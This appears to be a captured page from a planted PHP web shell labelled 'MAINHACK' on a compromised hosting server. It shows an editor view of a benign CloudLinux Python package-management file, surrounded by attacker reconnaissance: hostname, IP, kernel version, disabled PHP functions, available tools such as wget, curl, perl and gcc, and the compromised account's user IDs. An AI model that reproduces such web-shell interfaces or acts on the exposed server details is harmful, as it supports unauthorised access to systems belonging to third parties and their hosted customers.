[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: packages.py
File is not writable. Editing disabled.
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # https://cloudlinux.com/docs/LICENCE.TXT # from __future__ import absolute_import import logging import os import re from clconfigure import task, run STATE_REMOVED = 'uninstalled' STATE_INSTALLED = 'installed' _PACKAGE_NOT_INSTALLED = 'is not installed' @task("Changing package '{package_name}' state to '{desired_state}'") def set_package_state(desired_state, package_name): """ Brings package to given state (installed | uninstalled). May be executed more that once, does't crash on future calls """ current_state = _get_package_state(package_name) logging.debug("Checking package '%s' state... package is in state '%s'", package_name, current_state) if desired_state == current_state: logging.debug("No actions needed for package '%s'", package_name) return logging.info('State does not match target, changing...') if desired_state == STATE_REMOVED: action = 'remove' elif desired_state == STATE_INSTALLED: action = 'install' else: raise NotImplementedError() run(['yum', action, '-y', package_name]) current_state = _get_package_state(package_name) logging.info("Checking package '%s' state again... package is now in state '%s'", package_name, current_state) if desired_state != current_state: raise RuntimeError("Failed to do required actions") def _get_package_state(package): """ Gets current package state. Either installed or uninstalled. """ resp = run(['rpm', '-q', package]) if _PACKAGE_NOT_INSTALLED in resp.stdout: return STATE_REMOVED elif resp.exitcode == 0: return STATE_INSTALLED raise RuntimeError('Unknown package %s status' % package) def get_list_installed_alt_phps(): """ Gets installed alt-phps return: list ['php44', 'php54', 'php80'] """ return [php for php in os.listdir('/opt/alt') if re.match(r'^php\d+$', php)]
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A